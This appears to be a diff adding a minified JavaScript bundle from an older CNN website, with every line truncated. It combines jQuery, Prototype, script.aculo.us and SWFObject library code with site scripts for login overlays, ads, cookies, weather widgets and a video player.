+bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));},null,a,arguments.length);},wrapAll:function(a){if(f.isFunction(a)){return this.each(function(b){f(this).wrapAll(a.call(this,b));});}if(this[0]){var b=f(a,this[0].ownerDocument).eq [...]
+c=f.cssProps[i]||i;if(d===b){if(k&&"get" in k&&(g=k.get(a,!1,e))!==b){return g;}return j[c];}h=typeof d,h==="string"&&(g=bu.exec(d))&&(d=+(g[1]+1)*+g[2]+parseFloat(f.css(a,c)),h="number");if(d==null||h==="number"&&isNaN(d)){return;}h==="number"&&!f.cssNumber[i]&&(d+="px");if(!k||!("set" in k)||(d=k.set(a,d))!==b){try{j[c]=d;}catch(l){}}}},css:function(a,c,d){var e,g;c=f.camelCase(c),g=f.cssHooks[c],c=f.cssProps[c]||c,c==="cssFloat"&&(c="float");if(g&&"get" in g&&(e=g.get(a,!0,d))!==b){re [...]
+for(u in d.headers){v.setRequestHeader(u,d.headers[u]);}if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return !1;}for(u in {success:1,error:1,complete:1}){v[u](d[u]);}p=bZ(bT,d,c,v);if(!p){w(-1,"No Transport");}else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout");},d.timeout));try{s=1,p.send(l,w);}catch(z){if(s<2){w(-1,z);}else{throw z;}}}return v;},param:function(a,c){var d=[],e=function(a,b){b=f.isFunct [...]
+},swing:function(a){return -Math.cos(a*Math.PI)/2+0.5;}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{};}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this);},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];}var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b)) [...]
+}};if(Prototype.Browser.MobileSafari){Prototype.BrowserFeatures.SpecificElementExtensions=false;}var Class={create:function(){var b=null,c=$A(arguments);if(Object.isFunction(c[0])){b=c.shift();}function a(){this.initialize.apply(this,arguments);}Object.extend(a,Class.Methods);a.superclass=b;a.subclasses=[];if(b){var e=function(){};e.prototype=b.prototype;a.prototype=new e;b.subclasses.push(a);}for(var d=0;d<c.length;d++){a.addMethods(c[d]);}if(!a.prototype.initialize){a.prototype.initial [...]
+},include:function(a){return this.indexOf(a)>-1;},startsWith:function(a){return this.indexOf(a)===0;},endsWith:function(a){var b=this.length-a.length;return b>=0&&this.lastIndexOf(a)===b;},empty:function(){return this=="";},blank:function(){return/^\s*$/.test(this);},interpolate:function(a,b){return new Template(this,b).evaluate(a);}});if(Prototype.Browser.WebKit||Prototype.Browser.IE){Object.extend(String.prototype,{escapeHTML:function(){return this.replace(/&/g,"&").replace(/</g,"& [...]
+delete this._object[c];return b;},toObject:function(){return Object.clone(this._object);},keys:function(){return this.pluck("key");},values:function(){return this.pluck("value");},index:function(b){var c=this.detect(function(d){return d.value===b;});return c&&c.key;},merge:function(b){return this.clone().update(b);},update:function(b){return new Hash(b).inject(this,function(d,c){d.set(c.key,c.value);return d;});},toQueryString:function(){return this.inject([],function(c,b){var d=encodeUR [...]
+}if(c=$(c)){if(a.insertion){if(Object.isString(a.insertion)){var d={};d[a.insertion]=b;c.insert(d);}else{a.insertion(c,b);}}else{c.update(b);}}}});Ajax.PeriodicalUpdater=Class.create(Ajax.Base,{initialize:function($super,a,b,c){$super(c);this.onComplete=this.options.onComplete;this.frequency=(this.options.frequency||2);this.decay=(this.options.decay||1);this.updater={};this.container=a;this.url=b;this.start();},start:function(){this.options.onComplete=this.updateComplete.bind(this);this. [...]
+}return b=="auto"?null:b;},getOpacity:function(a){return $(a).getStyle("opacity");},setStyle:function(e,d){e=$(e);var b=e.style,a;if(Object.isString(d)){e.style.cssText+=";"+d;return d.include("opacity")?e.setOpacity(d.match(/opacity:\s*(\d?\.?\d*)/)[1]):e;}for(var c in d){if(c=="opacity"){e.setOpacity(d[c]);}else{b[(c=="float"||c=="cssFloat")?(Object.isUndefined(b.styleFloat)?"cssFloat":"styleFloat"):c]=d[c];}}return e;},setOpacity:function(a,b){a=$(a);a.style.opacity=(b==1||b==="")?"": [...]
+})(Element._attributeTranslations.read.values);}else{if(Prototype.Browser.Gecko&&/rv:1\.8\.0/.test(navigator.userAgent)){Element.Methods.setOpacity=function(a,b){a=$(a);a.style.opacity=(b==1)?0.999999:(b==="")?"":(b<0.00001)?0:b;return a;};}else{if(Prototype.Browser.WebKit){Element.Methods.setOpacity=function(a,d){a=$(a);a.style.opacity=(d==1||d==="")?"":(d<0.00001)?0:d;if(d==1){if(a.tagName.toUpperCase()=="IMG"&&a.width){a.width++;a.width--;}else{try{var b=document.createTextNode(" ");a [...]
+if(Selector._cache[c]){this.xpath=Selector._cache[c];return;}this.matcher=[".//*"];while(c&&d!=c&&(/\S/).test(c)){d=c;for(var e in b){if(a=c.match(b[e])){this.matcher.push(Object.isFunction(f[e])?f[e](a):new Template(f[e]).evaluate(a));c=c.replace(a[0],"");break;}}}this.xpath=this.matcher.join("");Selector._cache[this.expression]=this.xpath;},findElements:function(a){a=a||document;var d=this.expression,e;switch(this.mode){case"selectorsAPI":if(a!==document){var c=a.id,b=$(a).identify();d [...]
+}var b=" "+d+" ";for(var e=0,f=[],c,a;c=g[e];e++){a=c.className;if(a.length==0){continue;}if(a==d||(" "+a+" ").include(b)){f.push(c);}}return f;},attrPresence:function(f,g,a,b){if(!f){f=g.getElementsByTagName("*");}if(f&&b){f=this[b](f);}var d=[];for(var e=0,c;c=f[e];e++){if(Element.hasAttribute(c,a)){d.push(c);}}return d;},attr:function(d,g,h,f,b,c){if(!d){d=g.getElementsByTagName("*");}if(d&&c){d=this[c](d);}var e=Selector.operators[b],l=[];for(var m=0,a;a=d[m];m++){var k=Element.readA [...]
+return;}}else{g.selected=c.include(e);}}}},selectOne:function(b){var a=b.selectedIndex;return a>=0?this.optionValue(b.options[a]):null;},selectMany:function(c){var a,b=c.length;if(!b){return null;}for(var d=0,a=[];d<b;d++){var e=c.options[d];if(e.selected){a.push(this.optionValue(e));}}return a;},optionValue:function(a){return Element.extend(a).hasAttribute("value")?a.value:a.text;}};Abstract.TimedObserver=Class.create(PeriodicalExecuter,{initialize:function($super,a,c,b){$super(b,c);thi [...]
+}this.xcomp=a;this.ycomp=b;this.offset=Element.cumulativeOffset(c);return(b>=this.offset[1]&&b<this.offset[1]+c.offsetHeight&&a>=this.offset[0]&&a<this.offset[0]+c.offsetWidth);},withinIncludingScrolloffsets:function(d,a,b){var c=Element.cumulativeScrollOffset(d);this.xcomp=a+c[0]-this.deltaX;this.ycomp=b+c[1]-this.deltaY;this.offset=Element.cumulativeOffset(d);return(this.ycomp>=this.offset[1]&&this.ycomp<this.offset[1]+d.offsetHeight&&this.xcomp>=this.offset[0]&&this.xcomp<this.offset[ [...]
+});},PAIRS:{slide:["SlideDown","SlideUp"],blind:["BlindDown","BlindUp"],appear:["Appear","Fade"]},toggle:function(c,b){c=$(c);b=(b||"appear").toLowerCase();var a=Object.extend({queue:{position:"end",scope:(c.id||"global"),limit:1}},arguments[2]||{});Effect[c.visible()?Effect.PAIRS[b][1]:Effect.PAIRS[b][0]](c,a);}};Effect.DefaultOptions.transition=Effect.Transitions.sinoidal;Effect.ScopedQueue=Class.create(Enumerable,{initialize:function(){this.effects=[];this.interval=null;},_each:functi [...]
+this.element.setStyle({backgroundImage:"none"});}if(!this.options.endcolor){this.options.endcolor=this.element.getStyle("background-color").parseColor("#ffffff");}if(!this.options.restorecolor){this.options.restorecolor=this.element.getStyle("background-color");}this._base=$R(0,2).map(function(a){return parseInt(this.options.startcolor.slice(a*2+1,a*2+3),16);}.bind(this));this._delta=$R(0,2).map(function(a){return parseInt(this.options.endcolor.slice(a*2+1,a*2+3),16)-this._base[a];}.bind [...]
+d=0;break;case"bottom-left":c=0;d=b.height;break;case"bottom-right":c=b.width;d=b.height;break;case"center":c=b.width/2;d=b.height/2;break;}return new Effect.Parallel([new Effect.Opacity(e,{sync:true,to:0,from:1,transition:f.opacityTransition}),new Effect.Scale(e,window.opera?1:0,{sync:true,transition:f.scaleTransition,restoreAfterFinish:true}),new Effect.Move(e,{x:c,y:d,sync:true,transition:f.moveTransition})],Object.extend({beforeStartInternal:function(g){g.effects[0].element.makePosit [...]
+}if(d!=this.last_active){Droppables.activate(d);}}},fire:function(b,a){if(!this.last_active){return;}Position.prepare();if(this.isAffected([Event.pointerX(b),Event.pointerY(b)],a,this.last_active)){if(this.last_active.onDrop){this.last_active.onDrop(a,this.last_active.element,b);return true;}}},reset:function(){if(this.last_active){this.deactivate(this.last_active);}}};var Draggables={drags:[],observers:[],register:function(a){if(this.drags.length==0){this.eventMouseUp=this.endDrag.bindA [...]
+}var c=this.currentDelta();b[0]-=c[0];b[1]-=c[1];if(this.options.scroll&&(this.options.scroll!=window&&this._isScrollChild)){b[0]-=this.options.scroll.scrollLeft-this.originalScrollLeft;b[1]-=this.options.scroll.scrollTop-this.originalScrollTop;}var d=[0,1].map(function(g){return(a[g]-b[g]-this.offset[g]);}.bind(this));if(this.options.snap){if(Object.isFunction(this.options.snap)){d=this.options.snap(d[0],d[1],this);}else{if(Object.isArray(this.options.snap)){d=d.map(function(h,g){return [...]
+},_constructIndex:function(b){var a="";do{if(b.id){a="["+b.position+"]"+a;}}while((b=b.parent)!=null);return a;},sequence:function(b){b=$(b);var a=Object.extend(this.options(b),arguments[1]||{});return $(this.findElements(b,a)||[]).map(function(c){return c.id.match(a.format)?c.id.match(a.format)[1]:"";});},setSequence:function(d,c){d=$(d);var a=Object.extend(this.options(d),arguments[2]||{});var b={};this.findElements(d,a).each(function(e){if(e.id.match(a.format)){b[e.id.match(a.format)[ [...]
+var b=(d==this.oldElementValue.length?1:0);var f=-1,g=e.length;var c;for(var h=0,a=this.options.tokens.length;h<a;++h){c=e.lastIndexOf(this.options.tokens[h],d+b-1);if(c>f){f=c;}c=e.indexOf(this.options.tokens[h],d+b);if(-1!=c&&c<g){g=c;}}return(this.tokenBounds=[f+1,g]);}});Autocompleter.Base.prototype.getTokenBounds.getFirstDifferencePos=function(c,a){var b=Math.min(c.length,a.length);for(var d=0;d<b;++d){if(c[d]!=a[d]){return d;}}return b;};Ajax.Autocompleter=Class.create(Autocomplete [...]
+this._controls.editor.disabled=true;var a=Object.extend({method:"get"},this.options.ajaxOptions);Object.extend(a,{parameters:"editorId="+encodeURIComponent(this.element.id),onComplete:Prototype.emptyFunction,onSuccess:function(b){this._form.removeClassName(this.options.loadingClassName);var c=b.responseText;if(this.options.stripLoadedTextTags){c=c.stripTags();}this._controls.editor.value=c;this._controls.editor.disabled=false;this.postProcessEditField();}.bind(this),onFailure:this._bound [...]
+this.restricted=this.options.restricted||false;this.maximum=this.options.maximum||this.range.end;this.minimum=this.options.minimum||this.range.start;this.alignX=parseInt(this.options.alignX||"0");this.alignY=parseInt(this.options.alignY||"0");this.trackLength=this.maximumOffset()-this.minimumOffset();this.handleLength=this.isVertical()?(this.handles[0].offsetHeight!=0?this.handles[0].offsetHeight:this.handles[0].style.height.replace(/px$/,"")):(this.handles[0].offsetWidth!=0?this.handles [...]
+if(m&&!(typeof aC.mimeTypes!=ar&&aC.mimeTypes[aF]&&!aC.mimeTypes[aF].enabledPlugin)){aa=true;d=false;m=m.replace(/^.*\s+(\S+\s+\S+$)/,"$1");f[0]=parseInt(m.replace(/^(.*)\..*$/,"$1"),10);f[1]=parseInt(m.replace(/^.*\.(.*)\s.*$/,"$1"),10);f[2]=/[a-zA-Z]/.test(m)?parseInt(m.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0;}}else{if(typeof ag.ActiveXObject!=ar){try{var k=new ActiveXObject(X);if(k){m=k.GetVariable("$version");if(m){d=true;m=m.split(" ")[1].split(",");f=[parseInt(m[0],10),parseInt(m[1 [...]
+}var d={success:false,id:e};if(ai.w3&&!(ai.wk&&ai.wk<312)&&m&&e&&h&&f&&c){az(e,false);ak(function(){h+="";f+="";var s={};if(g&&typeof g===aE){for(var q in g){s[q]=g[q];}}s.data=m;s.width=h;s.height=f;var p={};if(k&&typeof k===aE){for(var r in k){p[r]=k[r];}}if(b&&typeof b===aE){for(var n in b){if(typeof p.flashvars!=ar){p.flashvars+="&"+n+"="+b[n];}else{p.flashvars=n+"="+b[n];}}}if(ap(c)){var o=aB(s,p,e);if(s.id==e){az(e,true);}d.success=true;d.ref=o;}else{if(a&&av()){s.data=a;af(s,p,e,l [...]
+if(this.sliderWidth>1){prevBtnContainer.observe("click",this.slidePrev.bind(this));nextBtnContainer.observe("click",this.slideNext.bind(this));}},slideNext:function(){if((this.currentPanel+1)<this.numScreens){this.btnSlide(this.currentPanel+1);}if(globalSlideCheck!=this.currentPanel+1||globalTabCheck!=0){globalSlideCheck=this.currentPanel+1;globalTabCheck=0;this.callOmniture("HP mid right arrow");}},slidePrev:function(){if(this.currentPanel>0){this.btnSlide(this.currentPanel-1);}if(globa [...]
+}function cnnMouseDown(a){if(cnnDropdownOpen){cnnDD.mouseDownBody(a);}if(cnnOverlayMenuOpen){cnnOverlayMouseDownBody(a);}return true;}var cnnOverlayOpenId="";var cnnOverlayClickedId="";var cnnOverlayMenuOpen=false;var cnnOverlayClass=[];function cnnInitOverlay(){document.body.onmousedown=cnnMouseDown;cnnAddOverlayEvents("cnnOverlayLnk");}function cnnShowOverlay(a){if($(a)){if($(a).style.display=="block"){$(a).style.display="none";}else{$(a).style.display="block";cnnOverlayOpenId=a;cnnOve [...]
+e="cnnYellow";break;case"Live Developing Story":d="cnnYellow";e="cnnBlack";f=cdn_prefix+"/.element/swf/2.0/breaking_news/bn_dev.swf";break;case"Developing Story":d="cnnBlack";e="cnnYellow";break;case"Watch Now":d="cnnBlue";e="cnnBlue";break;case"Connect with CNN":d="cnnBlue";e="cnnBlack";f=cdn_prefix+"/.element/swf/2.0/breaking_news/bn_connectWithCNN.swf";break;case"Live Now (sponsored)":d="cnnBlue";e="cnnBlack";f=cdn_prefix+"/.element/swf/2.0/breaking_news/bn_liveNow.swf";break;case"Liv [...]
+this.media=this.wrapper.select(".cnn_html_media")[0];this.media.setStyle({width:this.width,height:this.height});this.title=this.wrapper.select(".cnn_html_media_title")[0];this.caption=this.wrapper.select(".cnn_html_slideshow_media_caption")[0];if(this.images.length>1){this.pager=this.pagerTemplate.cloneNode(true);this.pages=this.pager.select(".cnn_html_slideshow_pager")[0];this.pager.select(".prev_slide")[0].observe("click",this.showPrev.bind(this));this.pager.select(".next_slide")[0].ob [...]
+this.delayedCSIList=new Array();this.domIDConfig=new Array();this.domOnLoad=new Array();this.domOnBeforeLoad=new Array();this.useDelayedCSI=false;this.numberofRequests=0;var a=new Date();this.iframeOffset=0;this.queueAllCalls=false;this.queuedCallArray=new Array();this.eventTypes=new Array();this.currentEventType="";this.eventTypeFunctions=new Array();this.watchEventTypeNodes=new Array();this.isPolling=false;this.pollingInterval=10000;this.minimumInterval=9999;this.domRefreshHook=false;t [...]
+if(document.getElementById){a=document.getElementById(e);if(!a){if(this.CSIObjects[e]&&this.CSIObjects[e].dom){e=this.CSIObjects[e].dom;a=document.getElementById(e);}}}else{if(document.all){a=document.all[e];if(!a){if(this.CSIObjects[e]&&this.CSIObjects[e].dom){e=this.CSIObjects[e].dom;a=document.all[e];}}}}if(a){a.innerHTML=b;}var c=0;if(c){var d=c.style.top||"0px";c.style.top="1px";c.style.top=d;}};CSIManager.prototype.callBackJS=function(p,n){if(this.CSIObjects[n]){var b=this.CSIObjec [...]
+};this.clear=function(){};}function CookieStorageMechanism(){this.name="CookieStorage";this.maxCapacity=20480;this.path="/";this.domain="";this.secure=false;this.createCookie=function(key,value,expiration){document.cookie=key+"="+value+((expiration)?(";expires="+expiration):"")+((this.path)?";path="+this.path:"")+((this.domain)?";domain="+this.domain:"")+((this.secure&&(this.secure==true))?"; secure":"");};this.isSupported=function(){return(document.cookie||document.cookie=="");};this.sa [...]
+}else{if(a!=","){break;}}g();k();}}m("Bad object");}function f(){var p="",o;if(a=="-"){p="-";g();}while(a>="0"&&a<="9"){p+=a;g();}if(a=="."){p+=".";while(g()&&a>="0"&&a<="9"){p+=a;}}if(a=="e"||a=="E"){p+="e";g();if(a=="-"||a=="+"){p+=a;g();}while(a>="0"&&a<="9"){p+=a;g();}}o=+p;if(!isFinite(o)){m("Bad number");}else{return o;}}function b(){switch(a){case"t":if(g()=="r"&&g()=="u"&&g()=="e"){g();return true;}break;case"f":if(g()=="a"&&g()=="l"&&g()=="s"&&g()=="e"){g();return false;}break;c [...]
+}}var cnn_screenname="";function ms_formEnterScreenname(b){cnn_screenname=$("cnnscreenname").value;var c=/^\w+$/;var a=true;$("cnnConnectScreennameErrors").innerHTML="";if(cnn_screenname==""){a=false;$("cnnConnectScreennameErrors").innerHTML="You need to enter a screen name.";$("cnnscreenname").addClassName("redinput_error");$("cnnConnectScreennameErrors").addClassName("redtexterror");$("screenname_label").addClassName("redtexterror");return;}else{if(cnn_screenname.length<3){a=false;$("c [...]
+}if(e==""||e=="Reset Code"){g=false;k[k.length]="reset code";cnnConnectOverlayResetError("resetCode");}else{$("reset_code").previous("p").removeClassName("redtexterror");$("cnnConnectFormReset").resetCode.className="cnn_connectoverlay_password3 cnnredtxt";}if(h==""||h=="New Password"){g=false;k[k.length]="new password";cnnConnectOverlayResetError("newPassword");}else{$("new_password").previous("p").removeClassName("redtexterror");$("cnnConnectFormReset").newPassword.className="cnn_connec [...]
+break;case"missing confirm new password":cnnConnectOverlayResetError("confirmNewPassword");cnnConnectOverlayResetValidationError("add","You forgot to confirm your new password.<br/>");break;case"confirm password did not match":cnnConnectOverlayResetError("newPassword");cnnConnectOverlayResetError("confirmNewPassword");cnnConnectOverlayResetValidationError("add","Your passwords do not match.<br/>");break;case"reset code has expired":cnnConnectOverlayResetError("resetCode");cnnConnectOverl [...]
+}if($("signup_password")){$("signup_password").previous("p").removeClassName("redtexterror");}if($("signup_screenname")){$("signup_screenname").previous("p").removeClassName("redtexterror");}if($("signup_kaptcha_p1")){$("signup_kaptcha_p1").removeClassName("redtexterror");}generateCaptchaImage();}function cnnConnectOverlayError(b,a){switch(b){case"email":if($("cnnConnectFormRegister").email.value!=""){$("cnnConnectFormRegister").email.className="cnnConnectFormbgnone cnn_connectoverlay_em [...]
+}else{if(!Member.isConnected()){a='<a href="javascript:CNN_handleOverlay(\'fb_profile_signin_init_overlay\');" title="Connect your CNN & Facebook accounts">Connect your CNN & Facebook accounts</a>';}else{if((Member.isLoggedIn("cnn")&&!Member.isLoggedIn("facebook"))||(Member.isLoggedIn("facebook")&&!Member.isLoggedIn("cnn"))&&!Member.isConnected()){a='<a href="javascript:CNN_handleOverlay(\'fb_profile_signin_init_overlay\');" title="Log in with Facebook">Log in with Facebook</a>'; [...]
+r.params={};var v=typeof(v)!="undefined"?v:r;var s=w.requiredParams||[];var t=0;for(i=0;i<s.length;i++){if(!v.params[s[i]]&&(v.params[s[i]]!="")){var u="The api call is missing the required parameter: "+s[i];throw u;}else{t++;}}if(t==s.length){if(w.legacy){v.legacy=w.legacy;}else{v.flow=w.flow;}v.params.action=w.action;return v;}else{return false;}};var c="Error in api method: ";var m=function(r){throw r;};var h={init:function(){if(!CNN_memberInit){}CNN_memberInit=false;CNN_IsMemInit=tru [...]
+var r=e(s,t);(r)?f(r):m("error in api method");},getNewsletter:function(s){var t={flow:"cnn-newsletter-api",action:"getNewsletter",requiredParams:["name"]};var r=e(s,t);(r)?f(r):m("error in api method");},getNewsletters:function(s){var t={flow:"cnn-newsletter-api",action:"getNewsletters",requiredParams:[]};var r=e(s,t);(r)?f(r):m("error in api method");},removeNewsletter:function(s){var t={flow:"cnn-newsletter-api",action:"removeNewsletter",requiredParams:["email","newsletter"]};var r=e( [...]
+}}}var b={params:{facebookUserId:FB.getAuthResponse().userID,principalType:"FACEBOOK"},onSuccess:function(f){var e=f.responseJSON.status;if(e=="need register"){if(allCookies["CNN_member"]){var h=new Overlay("fb_profile_signin_overlay");h.load();}else{var g=new Overlay("fb_profile_signup_overlay");g.load();}}else{if(e=="existing user"){Member.loginCallbackFBCnct();}else{if(e=="unavailable"){var d=new Overlay("fb_merge_error1_overlay");d.load();}else{if(e=="external authorization failed"){ [...]
+}else{document.cnnConnectFormLogin.keepMeLoggedIn.value=false;Member.setRememberMe(false);}c.doSso=false;document.cnnConnectFormLogin.submit();}else{cnnConnectOverlayLoginValidationError("clear");if(b.length==2){cnnConnectOverlayLoginValidationError("add","We need your "+b[0]+" and "+b[1]+" to log in.");}else{if(b[0]=="e-mail address"&&validateEmail(e)==false&&e!=""){cnnConnectOverlayLoginValidationError("add","You entered an invalid e-mail address.");}else{if(b[0]=="e-mail address"&&e== [...]
+}else{if(n[0]=="e-mail address"&&e==""){d+=n[0];}else{d+=n[0];}}break;case 2:d+=n[0]+" and "+n[1];break;default:for(var b=0;b<n.length;b++){d+=(b==(n.length-1))?"and "+n[b]+".":n[b]+", ";}break;}cnnConnectOverlayError("errorText",d);}}function validateResetEmail(){var c="cnnConnectFormForgot";var b=$(c).email.value;if(validateEmail(b)==false){cnnConnectOverlayForgotValidationError("clear");cnnConnectOverlayForgotValidationError("add","You must enter your e-mail address to reset your pass [...]
+var e=(f>b)?f:b;var a=(c>d)?c:d;$("cnn_overlaydim").setStyle({"width":a+"px","height":e+"px"});},"center":function(h){var e=this.getsoffset();var a=$(h).getWidth();var c=$(h).getHeight();var l=document.viewport.getHeight();var b=document.viewport.getWidth();var m=Math.max(document.documentElement["clientHeight"],document.body["scrollHeight"],document.documentElement["scrollHeight"],document.body["offsetHeight"],document.documentElement["offsetHeight"]);var d=Math.max(document.documentEle [...]
+}});this.StorageManagerInstance.availableStores=g;this.StorageManager=this.StorageManagerInstance.getStorage();this.StorageManager.load();if(location.hostname.indexOf("cnn.com")>0){document.domain="cnn.com";}if(location.hostname.indexOf("turner.com")>0){document.domain="turner.com";}this.CSIManager=CSIManager.getInstance();this.loadDefaultData();},initMod:function(){MainLocalObj.Markets.init();MainLocalObj.Weather.init();},setUserSpecificData:function(a){this.data.userSpecificData=a;},se [...]
+}if($("changeLocLink")){$("changeLocLink").show();}if($("pmWeatherTom")){$("pmWeatherTom").show();}if(!MainLocalObj.internationalUser){}else{if($("curConditionsWeatherDay")){$("curConditionsWeatherDay").show();}}}}break;}},updateLocalWeather:function(l){if(!l[0].invalid){var e="http://weather.cnn.com/weather/";if(MainLocalObj.internationalUser){e="http://weather.edition.cnn.com/weather/intl/";}e+="forecast.jsp?zipCode="+MainLocalObj.data.weatherLoc.zip;if(MainLocalObj.data.weatherLoc.loc [...]
+MainLocalObj.Weather.displayElements("displayResults");Element.update(a,c);},resetSearch:function(b){var c="weatherLoc";var a="pmLocResultsContainer";Element.update(a,"");$(c).value=MainLocalObj.Weather.defaultMsg;}};MainLocalObj.Markets={redirectSymbol:false,init:function(){var b;this.defaultMsg="Enter Symbol";this.errorMsg="No match. Please enter a new symbol.";if(MainLocalObj.internationalUser){b="/cnnintl_adspaces/3.0/homepage/spon.88x31_worldbiz.ad";}else{b="/cnn_adspaces/3.0/homepa [...]
+},_checkOnBlur:function(){this._hideTimeout=null;this.hide();},_onInputKeyUp:function(a){this._suggest(a)&&Event.stop(a);},_onInputKeyDown:function(a){this._suggest(a)&&Event.stop(a);},_onSelectorFocus:function(a){if(this._hideTimeout){clearTimeout(this._hideTimeout);this._hideTimeout=null;}},_onSelectorChange:function(a){this.select();},draw:function(){if(this.drawn){return;}if(this.options.cssClass){this.selector.className=this.options.cssClass;}Element.setStyle(this.selector,{display: [...]
+return;}}}}}CNN_bustFrame();var adHeadOffset,adHeadClass,allCookies,adHeadCookie,isClassAndOffsetValid,alreadySwappedTargetImage,alreadySwappedCookieCrumb,adHeadHash,validClassesAndOffsets,i,alreadySwappedDETargetImage,cnnDEadDEonCookie,cnnU_Country,cnnAdDE_UVal;function CNN_getCookies(){var d,c,b,a;d=[];if(document.cookie){c=document.cookie.split("; ");for(b=0;b<c.length;b+=1){a=c[b].split("=");d[a[0]]=unescape(a[1])||null;}}return d;}function CNN_parseCookieData(a){var d,e,b,c;d={};e=a [...]
+d+="&transactionID="+cnnad_getTransactionID();d+="&domId="+a;cnnad_createAdHelper(a,d,c,b,e,false);}function cnnad_createAd(b,f,e,d,g){try{if(SKIP_AD_CREATION!=="undefined"&&SKIP_AD_CREATION==true){return;}}catch(c){}f=cnnad_preview(f);f=cnnad_statusCodeQA(f);f+="&transactionID="+cnnad_getTransactionID();f+="&tile="+cnnad_getDynamicTileID(f)+"&domId="+b;cnnad_createAdHelper(b,f,e,d,g,false);var a=new String();if(f.match("_position=")){a=cnnad_getParamValue(f,"_position=","_");}else{if(f. [...]
+},"auto":function(){if(CNNHMPAGE.pmod.cnntv.h_pos<=(-1*(CNNHMPAGE.pmod.cnntv.slidecnt-1)*CNNHMPAGE.pmod.cnntv.slideintvl)){clearTimeout(CNNHMPAGE.pmod.cnntv.tmo);}else{CNNHMPAGE.pmod.cnntv.slide((CNNHMPAGE.pmod.cnntv.h_pos-CNNHMPAGE.pmod.cnntv.slideintvl));CNNHMPAGE.pmod.cnntv.tmo=setTimeout(CNNHMPAGE.pmod.cnntv.auto,CNNHMPAGE.pmod.cnntv.tmintvl);}},"slide":function(a){$j("#cnn_pmtvmodslidecntnt").animate({"left":a+"px"});CNNHMPAGE.pmod.cnntv.h_pos=a;CNNHMPAGE.pmod.cnntv.enblbtns();},"en [...]
+};this.getPlayhead=function(){return playhead;};this.getAbsolutePlayhead=function(){return absolutePlayhead;};this.isBuffering=function(){return buffering;};this.isPaused=function(){return paused;};this.isFullscreen=function(){return fullscreen;};this.onContentMetadata=function(pPlayerId,pContentId,pDuration,pWidth,pHeight){contentId=pContentId;playhead=0;duration=pDuration;contentWidth=pWidth;contentHeight=pHeight;};this.onContentBegin=function(pPlayerId,pContentId){contentId=pContentId [...]
+}var i=0,endi=0,cmpArray,thisArray=this.toArray(true),a,b;cmpArray=shallow?version.toArray():version.toArray(true);for(endi=cmpArray.length;i<endi;++i){a=+(thisArray[i])||0;b=+(cmpArray[i])||0;if(a>b){return 1;}else{if(a<b){return -1;}}}return 0;};Version.prototype.is=function(version){return this.compare(version,true)===0;};Version.prototype.eq=function(version){return this.compare(version)===0;};Version.prototype.gt=function(version){return this.compare(version)>0;};Version.prototype.l [...]
+typeof JSON=="object"&&JSON&&(o.stringify=JSON.stringify,o.parse=JSON.parse);var f,l,c,u,a,s,g,y,h,p,b,j,A,S,v,O,T=new Date(-3509827334573292);try{T=T.getUTCFullYear()==-109252&&T.getUTCMonth()===0&&T.getUTCDate()==1&&T.getUTCHours()==10&&T.getUTCMinutes()==37&&T.getUTCSeconds()==6&&T.getUTCMilliseconds()==708;}catch(_){}return t("json")||(T||(S=Math.floor,v=[0,31,59,90,120,151,181,212,243,273,304,334],O=function(t,r){return v[r]+365*(t-1970)+S((t-1969+(r=1>=r))/4)-S((t-1901+r)/100)+S((t [...]
+var appId="CVP";var windowId=window.self===window.top?"_top":window.name?window.name:"";var consoleMethods=["error","warn","info","debug","log"];var log4jsMethods=[].concat("fatal",consoleMethods,"trace");var levelNames=[].concat("none",log4jsMethods,"all");var levels={};for(var method=null,i=0,endi=levelNames.length;i<endi;++i){method=levelNames[i];levels[method.toUpperCase()]=i;}var defaultLevel=levels.WARN;var silent=/NO|NONE|OFF|SILENT|QUIET/;var passthru={};var noop=function(){};var [...]
+},randomString:function(length){var str="";var i;var chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz".split("");if(!length){length=Utils.getRandomInt(chars.length);}for(i=0;i<length;i++){str+=chars[Utils.getRandomInt(chars.length)];}return str;},replaceExtension:function(str,find,replace){if(empty(str)){return str;}return str.replace(new RegExp(find+"$","i"),replace);}};CVP.Utils.CommandQueue=Class.extend({init:function(){this._queue=[];},push:function(fn,scope,args) [...]
+}else{if(!handler.$$guid){handler.$$guid=Events.addListener.guid++;}if(!element.events){element.events={};}var handlers=element.events[type];if(!handlers){handlers=element.events[type]={};if(element["on"+type]){handlers[0]=element["on"+type];}element["on"+type]=Events._handleEvent;}handlers[handler.$$guid]=handler;}};Events.addListener.guid=1;Events.removeListener=function(element,type,handler){if(element.removeEventListener){element.removeEventListener(type,handler,false);}else{if(eleme [...]
+if(!script){log.error("JSONP - unable to create script for request ",obj.url);throw new Error("JSONP - unable to create script for request "+obj.url);}script.src=obj.url;if(obj.timeout){setTimeout(function(){self._onError(requestId,obj);},obj.timeout);}},_onSuccess:function(id,obj,data){if(!this.requestMap[id]){return;}this._destroyRequest(id,obj);if(isString(data)){try{data=JSON.parse(data);}catch(e1){log.warn("JSON.parse failed - falling back to eval");try{data=eval("("+data+")");}catc [...]
+}else{displayAltContent(obj);if(cb){cb(cbObj);}}}}}else{setVisibility(id,true);if(cb){var o=getObjectById(id);if(o&&typeof o.SetVariable!=UNDEF){cbObj.success=true;cbObj.ref=o;}cb(cbObj);}}}}}function getObjectById(objectIdStr){var r=null;var o=getElementById(objectIdStr);if(o&&o.nodeName=="OBJECT"){if(typeof o.SetVariable!=UNDEF){r=o;}else{var n=o.getElementsByTagName(OBJECT)[0];if(n){r=n;}}}return r;}function canExpressInstall(){return !isExpressInstallActive&&hasPlayerVersion("6.0.65" [...]
